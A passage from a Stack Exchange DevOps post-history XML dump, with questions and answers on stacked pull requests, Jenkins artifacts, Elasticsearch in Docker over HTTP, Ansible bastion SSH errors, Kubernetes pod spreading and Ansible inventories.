&#xD;&#xA;```&#xD;&#xA;-function someFunction(foo, bar) {&#xD;&#xA;-   // implementation&#xD;&#xA;-}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem I'm having with this approach is the way that these PRs end up looking, at least on Bitbucket. &#xD;&#xA;&#xD;&#xA;PR1 is fine. &#xD;&#xA;&#xD;&#xA;But until PR1 is merged, then PR2, if PR2 is pointed at trunk, contains the diff of both PR1 and PR2. &#xD;&#xA;&#xD;&#xA;And again on PR3. &#xD;&#xA;&#xD;&#xA;This means that until PR1, and then PR2, then I still have the same 'large diff' issues on my PRs. &#xD;&#xA;&#xD;&#xA;You might just say that 'The problem is that PR1 isn't being merged quick enough', which is fair enough. But one thing still to point out is that there isn't a way of communicating that PR2 depends on PR1, unless you're explicitly commenting as such. That is - how do I communicate to someone that PR2 shouldn't only be reviewed as a diff between PR2 and PR1?  &#xD;&#xA;&#xD;&#xA;The other problem you can have is that say you get some feedback on PR1, 'it shouldn't be called `someOtherFunction` call it `someBizFunction`'. I make that change, but then then I need pull that change in to PR2 and PR3. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any suggestions for thinking about this kind of problem? " ContentLicense="CC BY-SA 4.0" />
  <row Id="38745" PostHistoryTypeId="2" PostId="12618" RevisionGUID="2a36cccc-fada-4e42-bc97-9ffb873eacfe" CreationDate="2020-10-22T08:07:53.523" UserId="13379" Text="There's a simple two step process...&#xD;&#xA;&#xD;&#xA;In your originating job, tick step `[ X ] Archive the artifacts` and set the files to archive.&#xD;&#xA;[![archive artifact config][1]][1]&#xD;&#xA;&#xD;&#xA;The files are copied to the master, stored in the jobs folder tree, under the builds directory for each build. (Delete the build and it deletes the artifacts that came from it).&#xD;&#xA;&#xD;&#xA;Install the [Copy Artifact plugin][2].&#xD;&#xA;Configure the job accordingly.&#xD;&#xA;[![Copy-artifact config][3]][3]&#xD;&#xA;&#xD;&#xA;Despite the plugin's screenshot example, this is actually a bad practice for artifacts like jars. Those should be properly managed using an artifact repository like [Nexus][4] or [JFrog][5].&#xD;&#xA;&#xD;&#xA;See [my response][6] regarding keeping the the Jenkins space under control, managing the build and artifact retention soundly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/DgL7m.png&#xD;&#xA;  [2]: https://plugins.jenkins.io/copyartifact/&#xD;&#xA;  [3]: https://i.stack.imgur.com/gMGvd.png&#xD;&#xA;  [4]: https://www.sonatype.com/nexus/repository-oss&#xD;&#xA;  [5]: https://jfrog.com/artifactory/&#xD;&#xA;  [6]: https://stackoverflow.com/a/64475906/598141" ContentLicense="CC BY-SA 4.0" />
  <row Id="38746" PostHistoryTypeId="5" PostId="12618" RevisionGUID="0f99180b-dce0-409f-b767-e106e1501113" CreationDate="2020-10-22T08:46:31.820" UserId="13379" Comment="added 20 characters in body" Text="There's a simple two step process...&#xD;&#xA;&#xD;&#xA;In your originating job, tick step `[ X ] Archive the artifacts` and set the files to archive.&#xD;&#xA;[![archive artifact config][1]][1]&#xD;&#xA;&#xD;&#xA;The files are copied to the master, stored in the jobs folder tree, under the builds directory for each build, along with the log. (Delete the build and it deletes the artifacts that came from it).&#xD;&#xA;&#xD;&#xA;Install the [Copy Artifact plugin][2].&#xD;&#xA;Configure the job accordingly.&#xD;&#xA;[![Copy-artifact config][3]][3]&#xD;&#xA;&#xD;&#xA;Despite the plugin's screenshot example, this is actually a bad practice for artifacts like jars. Those should be properly managed using an artifact repository like [Nexus][4] or [JFrog][5].&#xD;&#xA;&#xD;&#xA;See [my response][6] regarding keeping the the Jenkins space under control, managing the build and artifact retention soundly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/DgL7m.png&#xD;&#xA;  [2]: https://plugins.jenkins.io/copyartifact/&#xD;&#xA;  [3]: https://i.stack.imgur.com/gMGvd.png&#xD;&#xA;  [4]: https://www.sonatype.com/nexus/repository-oss&#xD;&#xA;  [5]: https://jfrog.com/artifactory/&#xD;&#xA;  [6]: https://stackoverflow.com/a/64475906/598141" ContentLicense="CC BY-SA 4.0" />
  <row Id="38754" PostHistoryTypeId="2" PostId="12620" RevisionGUID="c7083887-4ca4-469b-a5de-676003c2dac6" CreationDate="2020-10-22T11:37:10.063" UserId="4583" Text="I'm trying to run the docker image of the AWS opendistro elasticsearch on my laptop for tesing&#xD;&#xA;&#xD;&#xA;https://opendistro.github.io/for-elasticsearch-docs/docs/install/docker/&#xD;&#xA;&#xD;&#xA;When I run it, it expects an HTTPS connection. How do I run it on HTTP?&#xD;&#xA;&#xD;&#xA;I'm using this command to run:&#xD;&#xA;&#xD;&#xA;`docker run -d --name elasticsearch-od -p 9200:9200 -p 9600:9600 -e &quot;discovery.type=single-node&quot;`" ContentLicense="CC BY-SA 4.0" />
  <row Id="38755" PostHistoryTypeId="1" PostId="12620" RevisionGUID="c7083887-4ca4-469b-a5de-676003c2dac6" CreationDate="2020-10-22T11:37:10.063" UserId="4583" Text="How do I run opendistro elasticsearch in docker on HTTP" ContentLicense="CC BY-SA 4.0" />
  <row Id="38756" PostHistoryTypeId="3" PostId="12620" RevisionGUID="c7083887-4ca4-469b-a5de-676003c2dac6" CreationDate="2020-10-22T11:37:10.063" UserId="4583" Text="&lt;docker&gt;&lt;elasticsearch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38757" PostHistoryTypeId="2" PostId="12621" RevisionGUID="f5085812-db90-4cc8-8574-5573b468a9bf" CreationDate="2020-10-22T16:47:24.967" UserId="132" Text="Is your infrastructure in a cloud provider? If so, any architecture that allows for auto-remediation should suffice to make this production-ready. Bonus points for auto-scaling.&#xD;&#xA;&#xD;&#xA;If you're in AWS, for example, check out these documents: &#xD;&#xA; * https://docs.gitlab.com/runner/configuration/runner_autoscale_aws/&#xD;&#xA; * https://github.com/npalm/terraform-aws-gitlab-runner" ContentLicense="CC BY-SA 4.0" />
  <row Id="38758" PostHistoryTypeId="50" PostId="10669" RevisionGUID="f2d863d6-ec45-4475-b20b-33c96226c668" CreationDate="2020-10-22T17:06:30.677" UserId="-1" />
  <row Id="38760" PostHistoryTypeId="2" PostId="12622" RevisionGUID="93595483-4e8f-4df7-9d0b-30ce52f09d62" CreationDate="2020-10-22T20:58:37.800" UserId="24426" Text="in your docker-compose.yml you need change this parametres: &#xD;&#xA;&#xD;&#xA;environment:&#xD;&#xA;      ELASTICSEARCH_URL: https://odfe-node1:9200&#xD;&#xA;      ELASTICSEARCH_HOSTS: https://odfe-node1:9200&#xD;&#xA;&#xD;&#xA;For this:&#xD;&#xA;&#xD;&#xA;environment:&#xD;&#xA;      ELASTICSEARCH_URL: http://odfe-node1:9200&#xD;&#xA;      ELASTICSEARCH_HOSTS: http://odfe-node1:9200&#xD;&#xA;&#xD;&#xA;And after in your file config for elasticsearch put this:&#xD;&#xA;&#xD;&#xA;https-enabled = false&#xD;&#xA;&#xD;&#xA;Try and enjoy ;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38761" PostHistoryTypeId="2" PostId="12623" RevisionGUID="c76251f9-3920-47d7-b06e-f6c24be6a61b" CreationDate="2020-10-22T21:07:30.947" UserId="24426" Text="I am use this website, with this are possible create a k8s with N nodes ;) this is perfect for learning k8s and make any deployment, each session is for 4h, but this are sufficient. &#xD;&#xA;&#xD;&#xA;https://labs.play-with-k8s.com/ " ContentLicense="CC BY-SA 4.0" />
  <row Id="38762" PostHistoryTypeId="5" PostId="12611" RevisionGUID="8acda48f-f469-426c-a6b4-da4574739d74" CreationDate="2020-10-22T23:24:32.157" UserId="24396" Comment="added 102 characters in body" Text="We are using Bamboo to build and deploy a number of Java web applications. Right now, the Build Plans generally produce a WAR file, which is deployed by the Deploy Plans. We are moving our hosting (and building) to docker, and I'm unclear on the best way to handle this in Bamboo. Specifically, I'm unsure of whether the Build Plan or Deploy Plan should be responsible for generating a docker image.&#xD;&#xA;&#xD;&#xA;### Option 1&#xD;&#xA;&#xD;&#xA;* The Bamboo build plan does a multi-stage Docker build to tag and publish a docker image (~ 300MB)&#xD;&#xA;* The Bamboo deploy plan is responsible for spinning up a container for that image.&#xD;&#xA;&#xD;&#xA;### Option 2&#xD;&#xA;&#xD;&#xA;* The Bamboo build plan does a Docker build, and attaches the artifact (WAR file ~ 80 MB)&#xD;&#xA;* The Bamboo deploy plan is responsible for creating an image, inserting the WAR file, and spinning up a container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Just wondering if there is a standard or best practice pattern here. Or am I thinking about this wrong? Are there other options I should be considering?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38763" PostHistoryTypeId="33" PostId="12611" RevisionGUID="ea95fd1d-9a8b-40f0-81dd-3e6bbea55fc1" CreationDate="2020-10-22T23:24:54.053" UserId="24396" Comment="63" />
  <row Id="38767" PostHistoryTypeId="2" PostId="12625" RevisionGUID="297fd161-e999-4f05-bb64-0f1522b6d6a2" CreationDate="2020-10-23T14:01:59.443" UserId="24432" Text="I am trying to connect to my bastion host and then tunnel that ssh connection to connect to a jenkins host but keep running into the connection timed out error.&#xD;&#xA;&#xD;&#xA;The error message in full is: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;fatal: [&lt;bastion-public-ip&gt;]: UNREACHABLE! =&gt; {&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;msg&quot;: &quot;Failed to connect to the host via ssh: Connection timed out during banner exchange&quot;,&#xD;&#xA;    &quot;unreachable&quot;: true&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;my inventory file: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[bastion]&#xD;&#xA;#ip for bastion host&#xD;&#xA;&lt;bastion-public-ip&gt;&#xD;&#xA;&#xD;&#xA;[bastion:vars]&#xD;&#xA;ansible_ssh_user=ubuntu&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;ansible_ssh_common_args='-o StrictHostKeyChecking=no'&#xD;&#xA;ansible_ssh_common_args='-o ProxyCommand=&quot;ssh -W %h:%p -q ubuntu@10.0.1.49&quot;'&#xD;&#xA;ansible_ssh_private_key_file=~/.ssh/bastion.pem&#xD;&#xA;&#xD;&#xA;[jenkins]&#xD;&#xA;#ip of EC2 instance&#xD;&#xA;10.0.1.49&#xD;&#xA;&#xD;&#xA;[jenkins:vars]&#xD;&#xA;ansible_user=ubuntu&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;ansible_ssh_common_args='-o StrictHostKeyChecking=no'&#xD;&#xA;ubuntu@10.0.1.49'&#xD;&#xA;ansible_ssh_common_args='-o StrictHostKeyChecking=no'&#xD;&#xA;ansible_ssh_private_key_file=~/j-key.pem&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And my playbook file is:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- hosts: bastion&#xD;&#xA;  become: true&#xD;&#xA;&#xD;&#xA;- hosts: jenkins&#xD;&#xA;  # run as the root user on the remote machine&#xD;&#xA;  become: true&#xD;&#xA;  # list of tasks to run on the remote machine&#xD;&#xA;  tasks:&#xD;&#xA;  - name: 'update system'&#xD;&#xA;    apt: name=aptitude state=latest update_cache=yes force_apt_get=yes&#xD;&#xA;&#xD;&#xA;  - name: 'install docker'&#xD;&#xA;    script: docker.sh&#xD;&#xA;&#xD;&#xA;  - name: 'install docker-compose'&#xD;&#xA;    script: docker-compose.sh&#xD;&#xA;&#xD;&#xA;  - name: 'install Jenkins'&#xD;&#xA;    script: jenkins.sh&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My ansible version is: ansible 2.9.13&#xD;&#xA;&#xD;&#xA;EDIT: Wanted to add the rules for the security group my bastion server is in&#xD;&#xA;&#xD;&#xA;Port 22 is open to TCP traffic from everywhere currently" ContentLicense="CC BY-SA 4.0" />
  <row Id="38768" PostHistoryTypeId="1" PostId="12625" RevisionGUID="297fd161-e999-4f05-bb64-0f1522b6d6a2" CreationDate="2020-10-23T14:01:59.443" UserId="24432" Text="Ansible playbook error: &quot;Connection timed out during banner exchange&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38769" PostHistoryTypeId="3" PostId="12625" RevisionGUID="297fd161-e999-4f05-bb64-0f1522b6d6a2" CreationDate="2020-10-23T14:01:59.443" UserId="24432" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38770" PostHistoryTypeId="50" PostId="12470" RevisionGUID="b805c70e-028e-4cf9-aeaa-8dfe16db39d7" CreationDate="2020-10-23T14:04:35.463" UserId="-1" />
  <row Id="38771" PostHistoryTypeId="5" PostId="12625" RevisionGUID="19832431-4cea-4586-b891-4c9493323209" CreationDate="2020-10-23T14:17:54.970" UserId="24432" Comment="added -vvv outputs" Text="I am trying to connect to my bastion host and then tunnel that ssh connection to connect to a jenkins host but keep running into the connection timed out error.&#xD;&#xA;&#xD;&#xA;The error message in full is: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;fatal: [&lt;bastion-public-ip&gt;]: UNREACHABLE! =&gt; {&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;msg&quot;: &quot;Failed to connect to the host via ssh: Connection timed out during banner exchange&quot;,&#xD;&#xA;    &quot;unreachable&quot;: true&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;my inventory file: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[bastion]&#xD;&#xA;#ip for bastion host&#xD;&#xA;&lt;bastion-public-ip&gt;&#xD;&#xA;&#xD;&#xA;[bastion:vars]&#xD;&#xA;ansible_ssh_user=ubuntu&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;ansible_ssh_common_args='-o StrictHostKeyChecking=no'&#xD;&#xA;ansible_ssh_common_args='-o ProxyCommand=&quot;ssh -W %h:%p -q ubuntu@10.0.1.49&quot;'&#xD;&#xA;ansible_ssh_private_key_file=~/.ssh/bastion.pem&#xD;&#xA;&#xD;&#xA;[jenkins]&#xD;&#xA;#ip of EC2 instance&#xD;&#xA;10.0.1.49&#xD;&#xA;&#xD;&#xA;[jenkins:vars]&#xD;&#xA;ansible_user=ubuntu&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;ansible_ssh_common_args='-o StrictHostKeyChecking=no'&#xD;&#xA;ubuntu@10.0.1.49'&#xD;&#xA;ansible_ssh_common_args='-o StrictHostKeyChecking=no'&#xD;&#xA;ansible_ssh_private_key_file=~/j-key.pem&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And my playbook file is:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- hosts: bastion&#xD;&#xA;  become: true&#xD;&#xA;&#xD;&#xA;- hosts: jenkins&#xD;&#xA;  # run as the root user on the remote machine&#xD;&#xA;  become: true&#xD;&#xA;  # list of tasks to run on the remote machine&#xD;&#xA;  tasks:&#xD;&#xA;  - name: 'update system'&#xD;&#xA;    apt: name=aptitude state=latest update_cache=yes force_apt_get=yes&#xD;&#xA;&#xD;&#xA;  - name: 'install docker'&#xD;&#xA;    script: docker.sh&#xD;&#xA;&#xD;&#xA;  - name: 'install docker-compose'&#xD;&#xA;    script: docker-compose.sh&#xD;&#xA;&#xD;&#xA;  - name: 'install Jenkins'&#xD;&#xA;    script: jenkins.sh&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My ansible version is: ansible 2.9.13&#xD;&#xA;&#xD;&#xA;EDIT: Wanted to add the rules for the security group my bastion server is in&#xD;&#xA;&#xD;&#xA;Port 22 is open to TCP traffic from everywhere currently&#xD;&#xA;&#xD;&#xA;EDIT 2: -vvv flag output&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ansible-playbook 2.9.13&#xD;&#xA;  config file = /etc/ansible/ansible.cfg&#xD;&#xA;  configured module search path = ['/home/qa/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /home/qa/.local/lib/python3.8/site-packages/ansible&#xD;&#xA;  executable location = /home/qa/.local/bin/ansible-playbook&#xD;&#xA;  python version = 3.8.5 (default, Jul 28 2020, 12:59:40) [GCC 9.3.0]&#xD;&#xA;Using /etc/ansible/ansible.cfg as config file&#xD;&#xA;host_list declined parsing /home/qa/Projects/Final-Project/ansible/inventory as it did not pass its verify_file() method&#xD;&#xA;script declined parsing /home/qa/Projects/Final-Project/ansible/inventory as it did not pass its verify_file() method&#xD;&#xA;auto declined parsing /home/qa/Projects/Final-Project/ansible/inventory as it did not pass its verify_file() method&#xD;&#xA;Parsed /home/qa/Projects/Final-Project/ansible/inventory inventory source with ini plugin&#xD;&#xA;&#xD;&#xA;PLAYBOOK: test-playbook.yml ******************************************************************************************************&#xD;&#xA;2 plays in test-playbook.yml&#xD;&#xA;&#xD;&#xA;PLAY [bastion] *******************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Gathering Facts] ***********************************************************************************************************&#xD;&#xA;task path: /home/qa/Projects/Final-Project/ansible/test-playbook.yml:1&#xD;&#xA;&lt;bastion_public_ip&gt; ESTABLISH SSH CONNECTION FOR USER: ubuntu&#xD;&#xA;&lt;bastion_public_ip&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o 'IdentityFile=&quot;/home/qa/.ssh/bastion.pem&quot;' -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;ubuntu&quot;' -o ConnectTimeout=25 -o 'ProxyCommand=ssh -W %h:%p -q ubuntu@10.0.1.49' -o ControlPath=/home/qa/.ansible/cp/13196dcaf6 bastion_public_ip '/bin/sh -c '&quot;'&quot;'echo ~ubuntu &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&lt;bastion_public_ip&gt; (255, b'', b'Connection timed out during banner exchange\r\n')&#xD;&#xA;fatal: [bastion_public_ip]: UNREACHABLE! =&gt; {&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;msg&quot;: &quot;Failed to connect to the host via ssh: Connection timed out during banner exchange&quot;,&#xD;&#xA;    &quot;unreachable&quot;: true&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;PLAY RECAP ***********************************************************************************************************************&#xD;&#xA;bastion_public_ip                  : ok=0    changed=0    unreachable=1    failed=0    skipped=0    rescued=0    ignored=0&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38772" PostHistoryTypeId="2" PostId="12626" RevisionGUID="04bdd3dd-c36b-42b0-9cca-04d86f1262c4" CreationDate="2020-10-23T14:30:10.203" UserId="13139" Text="Take a look at the [Descheduler](https://github.com/kubernetes-sigs/descheduler). This project runs as a Kubernetes Job that aims at killing pods when it thinks the cluster is unbalanced.&#xD;&#xA;&#xD;&#xA;The [`LowNodeUtilization`][1] strategy seems to fit your case:&#xD;&#xA;&#xD;&#xA;&gt; This strategy finds nodes that are under utilized and evicts pods, if&#xD;&#xA;&gt; possible, from other nodes in the hope that recreation of evicted pods&#xD;&#xA;&gt; will be scheduled on these underutilized nodes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Another option is to apply a little of chaos engineering manually, forcing a Rolling Update on your deployment, and hopefully, the scheduler will fix the balance problem when pods are recreated. &#xD;&#xA;&#xD;&#xA;You can use the `kubectl rollout restart my-deployment`. It's way better than simply deleting the pods with `kubectl delete pod`, as the rollout will ensure availability during the &quot;rebalancing&quot; (although deleting the pods altogether increases your chances for a better rebalance).&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes-sigs/descheduler#lownodeutilization" ContentLicense="CC BY-SA 4.0" />
  <row Id="38773" PostHistoryTypeId="6" PostId="2021" RevisionGUID="d02e52d2-80c3-4ae3-905c-c80efd6d6a19" CreationDate="2020-10-23T14:43:42.820" UserId="13139" Comment="Add kubernetes tag" Text="&lt;kubernetes&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38774" PostHistoryTypeId="24" PostId="2021" RevisionGUID="d02e52d2-80c3-4ae3-905c-c80efd6d6a19" CreationDate="2020-10-23T14:43:42.820" Comment="Proposed by 13139 approved by 210 edit id of 1289" ContentLicense="CC BY-SA 4.0" />
  <row Id="38775" PostHistoryTypeId="5" PostId="12246" RevisionGUID="c037ce54-60e2-43a4-a400-d01c86fbe16c" CreationDate="2020-10-23T14:44:14.420" UserId="13139" Comment="Add kubernetes tag, improve format" Text="Current using AWS's auto-scale policy to start EKS worker nodes (min+desired 10, max 15) on a fixed time every day. There are 120 pods and 30 deployments.&#xD;&#xA;&#xD;&#xA;Obviously, only one node will be up firstly. Then the second node. After that last node will be up. &#xD;&#xA;For that reason, Kubernetes add all pods in the first nodes.&#xD;&#xA;Is there any way so that pods will be evenly distributed in the scenario? " ContentLicense="CC BY-SA 4.0" />
  <row Id="38776" PostHistoryTypeId="4" PostId="12246" RevisionGUID="c037ce54-60e2-43a4-a400-d01c86fbe16c" CreationDate="2020-10-23T14:44:14.420" UserId="13139" Comment="Add kubernetes tag, improve format" Text="Sspread pods over cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="38777" PostHistoryTypeId="6" PostId="12246" RevisionGUID="c037ce54-60e2-43a4-a400-d01c86fbe16c" CreationDate="2020-10-23T14:44:14.420" UserId="13139" Comment="Add kubernetes tag, improve format" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;autoscaling&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38778" PostHistoryTypeId="24" PostId="12246" RevisionGUID="c037ce54-60e2-43a4-a400-d01c86fbe16c" CreationDate="2020-10-23T14:44:14.420" Comment="Proposed by 13139 approved by -1 edit id of 1290" ContentLicense="CC BY-SA 4.0" />
  <row Id="38779" PostHistoryTypeId="4" PostId="12246" RevisionGUID="ae9709d8-cb18-4ba6-a153-1836bbd07f71" CreationDate="2020-10-23T14:44:14.420" UserId="210" Comment="Add kubernetes tag, improve format" Text="Spread pods over cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="38780" PostHistoryTypeId="6" PostId="12607" RevisionGUID="4edbd887-8955-4da5-b7ff-04939271b87a" CreationDate="2020-10-23T15:04:05.467" UserId="13139" Comment="Add kubectl tag" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38781" PostHistoryTypeId="24" PostId="12607" RevisionGUID="4edbd887-8955-4da5-b7ff-04939271b87a" CreationDate="2020-10-23T15:04:05.467" Comment="Proposed by 13139 approved by 210, 24391 edit id of 1288" ContentLicense="CC BY-SA 4.0" />
  <row Id="38782" PostHistoryTypeId="50" PostId="12471" RevisionGUID="e47edfa0-2882-4f9a-8ec7-5b9bb53ae7f6" CreationDate="2020-10-23T17:03:20.283" UserId="-1" />
  <row Id="38783" PostHistoryTypeId="2" PostId="12627" RevisionGUID="453faa81-6c24-4182-9a57-7cba2f98df16" CreationDate="2020-10-23T17:36:13.253" UserId="10868" Text="What I wanted to do is solvable with https://github.com/jenkinsci/pipeline-github-plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="38784" PostHistoryTypeId="2" PostId="12628" RevisionGUID="8b056a6d-dacb-45f9-a027-0874338eb469" CreationDate="2020-10-23T18:04:50.643" UserId="24433" Text="Please try with double // before var in remoteDirectory: '/var/www/sockets'." ContentLicense="CC BY-SA 4.0" />
  <row Id="38785" PostHistoryTypeId="2" PostId="12629" RevisionGUID="b10942b3-13e5-4640-a9a8-a0889daf15dc" CreationDate="2020-10-23T18:49:55.820" UserId="24394" Text="Is it possible to merge inventories so I can share variables across them? Let's say I have two inventory files. Inventory A and Inventory B. They are both in a directory called inventories.&#xD;&#xA;&#xD;&#xA;Variables are defined in B and I want to reference them in inventory A. Is this possible? I've heard of merging inventories so share variables across but I haven't gotten this to work. &#xD;&#xA;&#xD;&#xA;Here's are the files in my inventories directory: &#xD;&#xA;/opt/ansible/inventories/aws_ec2.yaml&#xD;&#xA;/opt/ansible/inventories/secrets.yaml&#xD;&#xA;&#xD;&#xA;contents of aws_ec2.yaml:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;plugin: aws_ec2&#xD;&#xA;&#xD;&#xA;aws_access_key: &quot;{{ aws_access_key }}&quot;&#xD;&#xA;aws_secret_key: &quot;{{aws_secret_key}} &quot;&#xD;&#xA;aws_security_token: &quot;{{aws_security_token}}&quot;&#xD;&#xA;&#xD;&#xA;regions:&#xD;&#xA;  - us-west-2&#xD;&#xA;&#xD;&#xA;keyed_groups:&#xD;&#xA;  - key: tags&#xD;&#xA;    prefix: tag&#xD;&#xA;  - key: placement.region&#xD;&#xA;    prefix: aws_region&#xD;&#xA;&#xD;&#xA;groups:&#xD;&#xA;  TEST: &quot;'prod' in (tags:list)&quot;&#xD;&#xA;&#xD;&#xA;compose:&#xD;&#xA;  ansible_host: private_ip_address&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here is my secrets.yaml file:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;  &#xD;&#xA;aws_access_key: xxxxx&#xD;&#xA;aws_secret_key: xxxxx&#xD;&#xA;aws_security_token: xxxxx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when i run my playbook, referencing both inventories, inventory does not seem to occur and I get these errors. It looks like the variables aren't being referenced and expanded?:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;me@workstation:/opt/ansible/inventories$ ansible-playbook -i /opt/ansible/inventories/aws_ec2.yaml -i /opt/ansible/inventories/secrets.yaml /opt/ansible/playbooks/test.yaml&#xD;&#xA;[WARNING]:  * Failed to parse /opt/ansible/inventories/aws_ec2.yaml with aws_ec2 plugin: Failed to&#xD;&#xA;describe instances: An error occurred (AuthFailure) when calling the DescribeInstances operation:&#xD;&#xA;Credential must have exactly 5 slash-delimited elements, e.g. keyid/date/region/service/term, got '{{'&#xD;&#xA;[WARNING]: Unable to parse /opt/ansible/inventories/aws_ec2.yaml as an inventory source&#xD;&#xA;[WARNING]: Unable to parse /opt/ansible/inventories/secrets.yaml as an inventory source&#xD;&#xA;[WARNING]: No inventory was parsed, only implicit localhost is available&#xD;&#xA;[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost&#xD;&#xA;does not match 'all'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or is my sytax for variable assigning and referencing wrong?&#xD;&#xA;Am I on the right path here?&#xD;&#xA;my /etc/ansible/ansible.cfg file, under [defaults] is as such:&#xD;&#xA;&#xD;&#xA;[defaults]&#xD;&#xA;inventory = /opt/ansible/inventory/aws_ec2.yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="38786" PostHistoryTypeId="1" PostId="12629" RevisionGUID="b10942b3-13e5-4640-a9a8-a0889daf15dc" CreationDate="2020-10-23T18:49:55.820" UserId="24394" Text="Ansible - merging inventories to share variables across?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38787" PostHistoryTypeId="3" PostId="12629" RevisionGUID="b10942b3-13e5-4640-a9a8-a0889daf15dc" CreationDate="2020-10-23T18:49:55.820" UserId="24394" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;linux&gt;&lt;configuration-management&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38788" PostHistoryTypeId="2" PostId="12630" RevisionGUID="bfb2baa5-400c-4ec4-88a5-04381795276e" CreationDate="2020-10-23T19:44:00.280" UserId="13298" Text="I am working on visual studio projects (Visual Studio Community). I have create local git repositories and remote respositories on https://dev.azure.com (azure devops).&#xD;&#xA;&#xD;&#xA;Everything works great&#xD;&#xA;&#xD;&#xA;Now, i want to work with Team Foundation Version Control. I need &quot;Microsoft Team Foundation Server&quot;. It seems this product is now called &quot;Azure DevOps Server&quot;. Is it the same thing than what i see on https://dev.azure.com ? &#xD;&#xA;&#xD;&#xA;What should i do in order to work with Team Foundation Version Control instead of git ?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="38789" PostHistoryTypeId="1" PostId="12630" RevisionGUID="bfb2baa5-400c-4ec4-88a5-04381795276e" CreationDate="2020-10-23T19:44:00.280" UserId="13298" Text="Difference between azure devops, azure devops server and TFVC" ContentLicense="CC BY-SA 4.0" />
  <row Id="38790" PostHistoryTypeId="3" PostId="12630" RevisionGUID="bfb2baa5-400c-4ec4-88a5-04381795276e" CreationDate="2020-10-23T19:44:00.280" UserId="13298" Text="&lt;azure-devops&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38791" PostHistoryTypeId="2" PostId="12631" RevisionGUID="abb057e2-2829-42c9-beee-33f739907c2e" CreationDate="2020-10-23T20:04:11.247" UserId="24436" Text="I am new to Docker Containers. But I am very confused with a few things.&#xD;&#xA;My goal is to create docker container with ubuntu 16.04,Nginx and nodejs. &#xD;&#xA;From googling and tururials I only found `docker-compose.yml` file with services like nginx, mysql etc.&#xD;&#xA;&#xD;&#xA;I am wondering how I define the os (linux flavour). I know there are images on docker hub. I am very lost please help." ContentLicense="CC BY-SA 4.0" />
  <row Id="38792" PostHistoryTypeId="1" PostId="12631" RevisionGUID="abb057e2-2829-42c9-beee-33f739907c2e" CreationDate="2020-10-23T20:04:11.247" UserId="24436" Text="Docker container with Ubuntu 16.04, Nginx, Nodejs via docker-compose.yml" ContentLicense="CC BY-SA 4.0" />
